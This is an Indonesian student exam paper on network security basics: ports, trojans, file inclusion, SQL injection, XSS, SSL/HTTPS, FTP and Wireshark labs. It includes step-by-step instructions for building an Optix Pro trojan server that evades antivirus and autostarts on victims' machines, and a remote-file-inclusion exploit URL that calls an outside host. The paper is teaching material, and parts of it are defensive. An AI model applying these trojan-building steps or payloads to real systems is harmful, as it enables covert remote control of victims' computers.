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Jawaban UAS Keamanan Jaringan 1
 MATERI KEAMANAN JARINGAN
 Robi Usman Teknik Informatika, STMIK Widya Utama Purwokerto
 email : [email protected]
 Abstrak : Keamanan jaringan komputer adalah proses untuk mencegah danmengidentifikasi penggunaan
 yang tidak sah dari jaringan computer. Langkah – langkah pencegahan membantu menghentikan pengguna
 yang tidak sah yang disebut “penyusup” untuk mengakses setiap bagian dari setiap jaringan computer.
 Tujuan keamanan jaringan komputer adalah untuk mengantisipasi resiko jaringan computer berupa bentuk
 ancaman fisik maupun logic baik langsung ataupun tidak langsung mengganggu aktivitas yang sedang
 berlangsung dalam jaringan komputer.
 Manfaat Keamanan Jaringan : 1. Untuk melindungi asset perusahaan
 2. Meningkatkan keuntungan kompetitif
 3. Untuk mendukung kinerja perusahaan dalam melayani nasabah
 4. Melindungi pekerjaan kita
 Cara Pengamanan Jaringan
 1. Otentikasi
 Merupakan proses pengenalan alat, Operation System, kegiatan aplikasi dan identitas usher yang
 dihubungkan oleh suatu jaringan komputer, dan dimulai sejak usher login ke jaringan.
 Tujuan otentifikasi:
 Mengetahui lokasi dari peralatan pada simpul jaringan
 Mengenal sistem operasi yang terhubung ke suatu jaringan
 Mengetahui proses pada siimpul jaringan
 Mengenali usher dan aplikasi yang saat ini digunakan
 2. Enkripsi
 Teknik pengkodean data untuk menjaga data / file baik di dalam komputer atau di jalur komunikasi
 dari pemakai yang tidak dikehendaki. Enkripsi bertujuan untuk menjaga kerahasiaan data. Teknik
 Enkripsi ada dua, yaitu DES (Data Encription Standard) dan RSA (Rivest Shamir Adelman).
 Kata Kunci : Port, Remote File Inclusion, Local File Inclusion, SQL Injection, Cross Site Scripting,
 SSL, Https, Percobaan dengan perintah netstas-an pada DOS, percobaan menggunakan
 wireshark
 PENDAHULUAN :
 Paper ini disusun sebagai jawaban dari soal UAS
 Keamanan Jaringan yang diampu oleh Bapak Nahar
 Mardiantoro, M.Kom.
 Definisi Keamanan Jaringan adalah menjaga agar
 resource digunakan sebagaimana mestinya oleh
 pemakai yang berhak. Keamanan jaringan komputer
 sendiri sering dipandang sebagai hasil dari beberapa
 faktor. Faktor ini bervariasi tergantung pada bahan
 dasar, tetapi secara normal setidaknya beberapa hal
 dibawah ini diikutsertakan :
 Confidentiality (kerahasiaan).
 Integrity (integritas).
 Availability (ketersediaan).
 Keamanan Jaringan juga memiliki Faktor-faktor
 yang membuat suatu jaringan beresiko untuk
 kehilangan data. Beberapa faktor Penyebab Resiko
 Dalam Jaringan Komputer adalah sebagai berikut :
 Kelemahan manusia (human error)
 Kelemahan perangkat keras komputerai ber
 Kelemahan sistem operasi jaringan
 Kelemahan sistem jaringan komunikasi
 1. PORT
 Tujuan
 Memahami fungsi port
 Memahami prinsip kerja Trojan Horse
 Dasar Teori
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 Trojan horse dalam keamanan komputer merujuk
 kepada sebuah bentuk perangkat lunak berbahaya
 (malicious software/malware) yang disusupkan ke
 dalam suatu sistem komputer.
 Trojan tidak membawa pengaruh secara langsung
 seperti halnya virus komputer, tetapi potensi
 bahayanya dapat jauh lebih besar dari virus
 komputer. Trojan dapat diaktifkan dan dikendalikan
 secara jarak jauh atau menggunakan timer. Banyak
 hal yang dapat dilakukan oleh penyerang terhadap
 komputer yang telah dikendalikan, yaitu dari hal
 yang ringan sampai dengan hal yang berbahaya.
 Trojan bekerja dengan cara membuka pintu
 belakang berupa port pada nomor tertentu. Jika
 terdapat port dengan nomor tidak umum dan
 terbuka, maka hal ini mengindikasikan adanya
 kegiatan aktif trojan.
 Langkah Praktikum
 a. Mengenal Port Memeriksa port
 Jalankan program superscan
 Muatkan (load) data port yang akan diperiksa.
 Misalnya menggunakan file scanner.lst
 Klik select all, yang artinya semua port pada
 daftar scanner.lst akan diperiksa
 Klik OK, simpan hasil perubahan.
 Jangan lupa memasukkan IP yang akan di scan
 (dalam contoh ini adalah IP local yaitu 127.0.0.1).
 Kemudian tekan start.
 Catat alamat-alamat port yang terbuka, dan
 sebutkan layanan (service) yang dijalankan.
 Periksa layanan (service) port yang terbuka
 tersebut melalui situs IANA
 (http://www.iana.org/assignments/port-numbers ).
 Apakah sudah sesuai?
 b. Mengenal Trojan Horse
 Trojan yang akan digunakan sebagai contoh
 adalah Optix Pro. Program ini dibuat oleh
 EvilEyeSoftware
 (http://www.evileyesoftware.com ). Optix Pro
 terdiri dari dua bagian utama yaitu builder.exe
 untuk membuat server, dan client.exe pada sisi
 klien.
 Fase pembuatan program server Trojan
 umumnya bertujuan untuk merancang
 trik-trik yang melengkapi kemampuan
 server tersebut agar dapat mudah
 disusupkan serta sulit dikenali. Berikut ini
 contoh langkah-langkah membuat server
 Trojan Optik Pro:
 1. Jalankan builder.exe
 2. Klik menu Main Setting, General
 Information
 3. Isikan nama
 4. Tentukan port yang akan digunakan oleh
 Server Trojan. Pilih antara 1024 – 65535
 (berdasarkan RFC 1700). Mengapa memulai
 dari port 1024? Jelaskan ketentuan yang
 berlaku untuk port 0 - 1024.
 5. Tentukan password untuk akses ke server
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 6. Isikan Fake Error, sekedar menampilkan
 pesan palsu.
 Gambar 1. Konfigurasi Main Settings
 7. Selanjutnya klik menu Startup &Installation,
 8. Kemudian pilih Startup. Konfigurasi disini
 terkait dengan cara yang akan digunakan agar
 program Server Trojan berjalan secara
 otomatis setiap kali komputer korban
 dihidupkan. Terdapat beberapa cara agar
 program berjalan otomatis di windows yaitu
 melalui setting di registry, win.ini, dan
 file.ini. Atau dapat pula menggunakan fungsi
 S7 sebagai program perantara yg akan me-load
 program Trojan yang sebenarnya agar korban
 tidak curiga saat program itu berjalan otomatis
 dikomputernya
 Gambar 2. Konfigurasi Startup
 9. Klik menu File Setup, disini kita menentukan
 nama samaran Trojan pada saat Trojan
 berjalan. Biasanya nama file yang digunakan
 mirip dengan File System Windows seperti
 printer.exe, system32.exe, dll. Mengapa dibuat
 sama?
 Gambar 3. Konfigurasi File Setup
 10. Menu Notifications, merupakan fasilitas yang
 digunakan sebagai pemberitahuan kepada kita
 ketika korban melakukan OnLine.
 11.Pada bagian Firewall & AVS Evasion
 memungkinkan Trojan mematikan AntiVirus
 maupun firewall yang terinstall dikomputer
 korban yg bertujuan agar Trojan tidak
 diketahui atau dihalangi oleh antivirus maupun
 firewall.
 12.Tekan tombol Build/create Server, lalu
 simpan dengan nama yang menurut anda akan
 menarik perhatian orang.
 13.Bila Trojan server di eksekusi (klik) maka
 Trojan menyalin dirinya ke direktori sistem
 dengan nama yg telah kita buat di Startup &
 InstallationFile SetupServer File Name.
 Program system32 inilah yang akan dijalankan
 secara otomatis sehingga file asli xxxxx.exe
 tidak diperlukan lagi dan bisa dihapus. Server
 Trojan sudah selesai diciptakan.
 14. Jalankan server Trojan
 15. Tunjukkan keberadaannya pada jendela Task
 Manager.
 16.Setelah program Server Trojan selesai,
 jalankan Program Client Trojan dari komputer
 klien. Masukkan IP korban (yang terdapat
 server trojan), isikan port sesuai yang telah kita
 tentukan, masukkan password, lalu klik tombol
 Connect.
 17. Komputer korban sudah dapat dikendalikan.
 18. Dapatkah anda menjalankan trojan lebih dari
 satu (pada komputer korban yang sama)?
 Bagaimana caranya? Buktikan dengan meng-
 capture task manager.
 19.Apa yang membedakan cara koneksi ke server-
 server tersebut?
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 Mendeteksi keberadaan Trojan melalui deteksi
 port:
 20. Jalankan portscanner
 21. Selidiki keberadaan trojan dengan mendeteksi
 port yang terbuka secara tidak wajar.
 22. Hapuslah (uninstall) salah satu Trojan
 menggunakan program klien:
 23. Dengan memahami eksekusi server trojan di
 komputer korban, maka untuk trojan yang
 terakhir, hapuslah secara manual. Jelaskan
 langkah-langkahnya dan buktikan hasilnya.
 2. REMOTE FILE INCLUSION
 Remote file inclusion dapat diartikan sebagai
 penyisipan sebuah file dari luar suatu file dalam
 sebuah webserver dengan tujuan script
 didalam akan dieksekusi pada saat file yang disisipi
 di-load. Tehnik ini sendiri mengharuskan webserver
 yang bersangkutan mampu menjalankan server side
 scripting (PHP, ASP, etc) serta file yang disisipi
 dibuat menggunakan bahasa script tersebut. Target
 remote file inclusion biasanya berbentuk sebuah
 portal atau content management system (CMS)
 sehingga banyak sekali jumlah website yang rawan
 terhadap serangan tipe ini.
 BAGAIMANA BISA TERJADI?
 Sebuah serangan file inclusion terjadi didasarkan
 pada kesalahan atau ketidaksengajaan
 pendeklarasian variabel-variabel dalam sebuah file.
 Sebuah variabel yang tidak dideklarasikan atau
 didefinisikan secara benar dapat di eksploitasi.
 Syarat terjadinya injeksi sendiri terdiri
 dari:
 1. Variabel yang tidak dideklarasikan dengan benar
 (unsanitized variables)
 Variabel dalam PHP mempunyai sintaks:
 #1 include ($namavariable. “/file…”)
 #2 require_once ($namavariable. /file…)
 #3 include_once ($variable. /file…)
 Misalnya kita memiliki sebuah file bernama
 jscript.php dan didalamnya terdapat variabel
 seperti ini:
 …
 include($my_ms["root"].‟/error.php‟);
 …
 Variabel tersebut memiliki kemungkinan untuk
 disisipi file dari luar
 webserver dengan eksploit script injeksi PHP:
 http://www.target.com/[Script
 Path]/jscript.php?my_ms[root]=http://www.inje
 k-pake-kaki.com/script?
 Diatas adalah contoh eksploitasi MySpeach < =
 v3.0.2 (my_ms[root])
 2. Setting dalam file PHP.ini
 #1. register_globals=On
 #2. magic_quotes=off
 #3. allow_fopenurl=on
 BERBAHAYAKAH?
 File inclusion memiliki level resiko tinggi (High
 Risk) bahkan level sangat berbahaya (Very
 Dangerous) karena injeksi memperkenankan
 pelakunya untuk melakukan eksekusi perintah jarak
 jauh (Remote Commands Execution) terhadap
 server. Tindakan ini sangat membahayakan
 bagi sebuah server jika pelakunya mencoba untuk
 mendapatkan hak akses lebih tinggi dengan cara
 melakukan eksploitasi lokal, sehingga bisa
 saja pelaku mendapatkan akses administrator atau
 root.
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 Secara garis besar resiko serangan ini adalah:
 1. Web root folder / subdirectory defacing
 2. Previledge escalation (mendapatkan hak akses
 lebihtinggi).
 3. Menjalankan proses dalam server (psyBNC, bots,
 dsb)
 4. Pilfering a.k.a pencurian data (such as credentials
 information,
 credit cards, etc..)
 5. Dan banyak lagi…!!! Termasuk tindakan
 pengambil alihan server dan ddos!
 3. LOCAL FILE INCLUSION
 Metode yang memanfaatkan kelemahan script PHP
 include(), include_once(), require(), require_once()
 yang omputer nya tidak dideklarasikan dengan
 sempurna. Dengan LFI seorang attacker dapat
 menginclude kan file yang berada di dalam server
 yang bersangkutan.
 4. SQL INJECTION
 Pembahasan mengenai SQL Injection sebenarnya
 sangat tergantung dengan lingkungan kerja. Program
 yang menggunakan database SQL Server akan
 mempunyai teknik yang berbeda jika dibandingkan
 dengan Oracle atau Microsoft Access. Demikian
 juga dengan bahasa yang digunakan, ASP akan
 sangat berbeda dengan PHP misalnya. Karena
 luasnya pembahasan semacam ini, saya akan
 membatasi pembahasan dengan lingkungan yang
 ada pada KPU, yaitu ASP sebagai bahasa
 pemrograman, SQL Server sebagai database server
 dan IIS sebagai web servernya. Karena saya telah
 membahas tentang dasar-dasar SQL Injection
 dengan form login sedangkan kasus KPU tidak ada
 form login, maka mulai saat ini saya akan
 memberikan contoh dengan menggunakan URL
 seperti kasus asli.
 Cara menangkal SQL INJECTION
 Teknik serangan yang panjang lebar ini ternyata
 hanya memerlukan sedikit tambahan code untuk
 menambalnya, benarkah??? Ya.. Mari kita bahas.
 Code:
 $result = mysql_query (“select * from „tblBerita‟
 ompu „id‟ = $id “);
 Serangan ini dapat terjadi dikarenakan tidak ada
 filter pada get_variable, sehingga attacker dapat
 menambahkan query jahat pada query aslinya. Nilai
 yang dibutuhkan pada get_variable id hanya nilai
 numeric saja sehingga kita dapat melakukan
 pengecekan apakah nilainya angka valid atau tidak
 Code:
 if (!is_numeric($id))
 $id = 0;
 $result = mysql_query (“select * from „tblBerita‟
 where „id‟ = $id “);
 Kode ini, berguna untuk merubah nilai id menjadi 0
 (Nol) jika nilai id tidak valid sebagai angka.
 5. CROSS SITE SCRIPTING
 XSS dikenal juga dengan CSS adalah singkatan dari
 Cross Site Scripting. XSS adalah suatu metode
 memasukan code atau script HTML kedalam suatu
 website yang dijalankan melalui browser di client.
 6. SSL
 SSL merupakan salah satu metode enkripsi dalam
 komunikasi data yang dibuat oleh Netscape
 Communication Corporation. Sebagaimana yang
 dijelaskan dalam SSL Protocol Internet Draft (The
 SSL Protocol, Version 3.0 oleh ALAN O. FREIER
 dan PAUL C. KOCHER, bisa anda
 cek http://home.netscape.com/eng/ssl3/ssl-toc.html
 Cara Kerja SSL
 Teknologi SSL menggunakan konsep dan teknologi
 krifotografi kunci publik untuk bisa mencapai
 komunikasi yang aman ini antara server dan
 pengunjungnya. Saat server dan pengakses saling
 bertukar data yang disamarkan dan untuk
 membacanya digunakan sandi dan kunci yang hanya
 dimiliki kedua pihak yang berkomunikasi tersebut,
 sehingga pihak lain yang mencoba menyadap data
 yang dikirim tersebut tidak akan bisa membacanya
 karena sandi dan kunci yang dibutuhkan tersebut
 hanya dimiliki oleh kedua pihak yang
 berkomunikasi tadi. Secara sederhana, komunikasi
 http://home.netscape.com/eng/ssl3/ssl-toc.html.
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 internet dengan SSL ini bisa dilihat dengan cara
 akses alamat URL-nya yang diawali dengan
 "https://" (misalnya
 https://www.namadomainanda.com), sedangkan
 yang tanpa SSL alamatnya hanya http biasa
 (misalnya http://www.namadomainanda.com)
 7. HTTPS
 HTTPS adalah versi aman dari HTTP, protokol
 komunikasi dari World Wide Web. Ditemukan oleh
 Netscape Communications Corporation untuk
 menyediakan autentikasi dan komunikasi tersandi
 dan penggunaan dalam komersi elektris. Selain
 menggunakan komunikasi plain text, HTTPS
 menyandikan data sesi menggunakan
 protokol SSL (Secure Socket layer) atau
 protokol TLS (Transport Layer Security). Kedua
 protokol tersebut memberikan perlindungan yang
 memadai dari serangan eavesdroppers, dan man in
 the middle attacks. Pada umumnya port HTTPS
 adalah 443.
 8. PERCOBAAN DENGAN PERINTAH
 NETSTAT-AN DOS
 Percobaan FTP
 1. Instalasi paket FTP, pada percobaan ini
 menggunakan proftp
 Yang perlu pertama kali kita lakukan adalah
 menginstall ftp servernya. Kali ini kita akan
 menggunakan aplikasi proftp. Proftp merupakan
 salah satu aplikasi ftp server, cara instalasinya
 adalah dengan menggunakan perintah dibawah ini.
 apt-get install proftpd
 2. Memastikan daemon ftp sudah berjalan pada
 sistem.
 Menggunakan perintah :
 netstat -a | grep ftp atau netstat -nlptu
 3. Restart pada aplikasi ftp
 Setelah selesai menginstall proftp, lakukan restart
 proftp melalui perintah
 /etc/init.d/proftpd restart
 4. Dengan menggunakan ftp client lakukan
 koneksi ke ftp server, siapkan user dan password
 untuk masuk ke ftp server
 Pada percobaan kali ini dilakukan koneksi dari ftp
 client ke ftp server, dalam contoh ini pc server
 adalah K011 sedangkan client adalah K009. No IP
 server (K011) adalah 10.252.108.90. Dan usr11
 adalah user yang ada pada K011.
 Jalankan command : ftp
 no_IP_atau_nama_komp_server_FTP
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 Masukkan username dan password. Setelah berhasil
 login, maka akan muncul tulisan usr11 logged in
 Jalankan command ftp, misal get untuk
 mendownload
 Pada contoh diatas dilakukan download file dari
 server, yaitu file contoh.png yang ada pada directory
 public. Perintah get diikuti dengan nama file yang
 akan didownload, jika proses download berhasil
 akan ada command successful seperti pada gambar
 diatas.
 Bisa digunakan pula ftp client yang mode gui untuk
 koneksi ke server ftp, misal filezilla, gftp, dan
 sebagainya
 Pada contoh gambar diatas, dilakukan koneksi ke ftp
 server dengan menggunakan aplikasi bernama
 gFTP. Pada bagian host diisi IP dari server yaitu
 10.252.108.90, lalu port 22, dan username adalah
 usr11. Lalu dilakukan uji coba download, yaitu
 download folder contoh1, caranya tinggal sorot file
 atau folder yang ingin didownload (contoh1),
 kemudian tekan tanda panah ke kiri, atau drag file
 atau folder tersebut ke kiri. Jika berhasil akan tampil
 tulisan successfully seperti gambar diatas.
 5. Konfigurasi anonymous ftp
 Anonimous ftp adalah koneksi ftp tanpa
 membutuhkan user dan password. Untuk
 mengaktifkan anomous ftp lakukan edit pada
 konfigurasi ftp dengan perintah
 nano /etc/proftp/proftpd.conf
 Hilangkan tanda # sesuai dengan gambar diatas.
 Setelah itu save. Setelah selesai menginstall proftp,
 lakukan restart proftp melalui perintah
 /etc/init.d/proftpd restart
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 6. Menggunakan anonymous melalui filezilla
 Untuk membuka anonimous ftp bisa dilakukan dari
 filezilla, hanya membutuhkan masukan
 no_ip_server_ftp dan langsung enter. Pada
 percobaan ini ip server adalah 10.252.108.90
 9. PERCOBAAN MENGGUNAKAN
 WIRESHARK
 Langkah-langkah percobaan
 1. Setelah menginstall wireShark, mari kita mulai
 menjalankan WireShark. Jalan saja lewat shortcut yang
 ada di start menu seperti ini:
 2. Setelah itu akan muncul Splash Screen dar
 WireShark yang sedang me-load komponen-komponen
 yang diperlukan
 3. Berikut ini adalah contoh tampilan WireShark yang
 sedang meng-capture paket-paket jaringan.
 4. Untuk meng-capture paket dengan WireShark kita
 bisa memulai dengan langkah-langkah berikut ini :
 - Pada menu Capture pilih Interface
 http://4.bp.blogspot.com/-Td8VnYnVhOc/T1s98WRrYfI/AAAAAAAAAHQ/mzOqyRiHUfk/s1600/screenshot.31.jpg
 http://1.bp.blogspot.com/-9Javtx7vtJo/T1s-cz2o8iI/AAAAAAAAAHY/H1lFoqTAZ1o/s1600/screenshot.32.jpg
 http://3.bp.blogspot.com/-Yq6OAM7tcFo/T1s_AuKg-ZI/AAAAAAAAAHg/C1XeJcOIrUE/s1600/screenshot.33.jpg
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 - Kemudian kita akan dihadapkan dengan tampilan
 untuk memilih interface yang akan kita capture
 nantinya, seperti ini:
 Pilih interface yang akan kita capture, pada praktek
 kali ini kita akan mencapture interface “Microsoft”, klik
 tombol “Start” pada bagian kanan interface tersebut.
 - Setelah itu, WireShark akan segera men-capture paket-
 paket di dalam jaringan dan menampilkannya dengan
 segara. Berikut ini adalah tampilan utama WireShark
 saat bekerja meng-capture paket-paket data jaringan.
 Hasil Capture paket-paket jaringan menggunakan
 WireShark
 5. Setelah berhasil meng-capture paket-paket jaringan
 sekarang kita akan mencoba memfilter paket protocol.
 Caranya buka command prompt, kemudian lakukan ping
 ke komputer lain yang masih satu jaringan dengan
 mengetikkan perintah “ping (IP laptop yang dituju)”
 (contoh : ping 169.254.254.202).
 6. Lalu ketikan “icmp” pada filtet box yang tersedia di
 pojok kiri atas WireShark. Lalu tekan enter. Hasil yang
 keluar seperti ini :
 Demikianlah paper yang kami buat semoga
 bermanfaat bagi orang yang membacanya dan
 menambah wawasan bagi orang yang membaca
 makalah ini. Dan penulis mohon maaf apabila ada
 kesalahan dalam penulisan kata dan kalimat yang
 tidak jelas, mengerti, dan lugas mohon jangan
 dimasukan ke dalam hati.
 Dan kami juga sangat mengharapkan yang membaca
 paper ini akan bertambah motivasinya dan mengapai
 cita-cita yang di inginkan, karena saya membuat
 makalah ini mempunyai arti penting yang sangat
 mendalam.
 Sekian penutup dari kami semoga berkenan di hati
 dan kami ucapkan terima kasih yang sebesar-
 besarnya.
 http://2.bp.blogspot.com/-ST_WU4B7-vQ/T1s_cP75M5I/AAAAAAAAAHo/eekSXYzj-7Y/s1600/screenshot.34.jpg
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 http://4.bp.blogspot.com/-j6toWAr_yHk/T1tAiTa5rWI/AAAAAAAAAIA/7tU-gr0RrgY/s1600/ping.png
 http://2.bp.blogspot.com/-9AaxDWN5x60/T1tA-ctPXFI/AAAAAAAAAII/_f2WyOv2j9s/s1600/icmp.png
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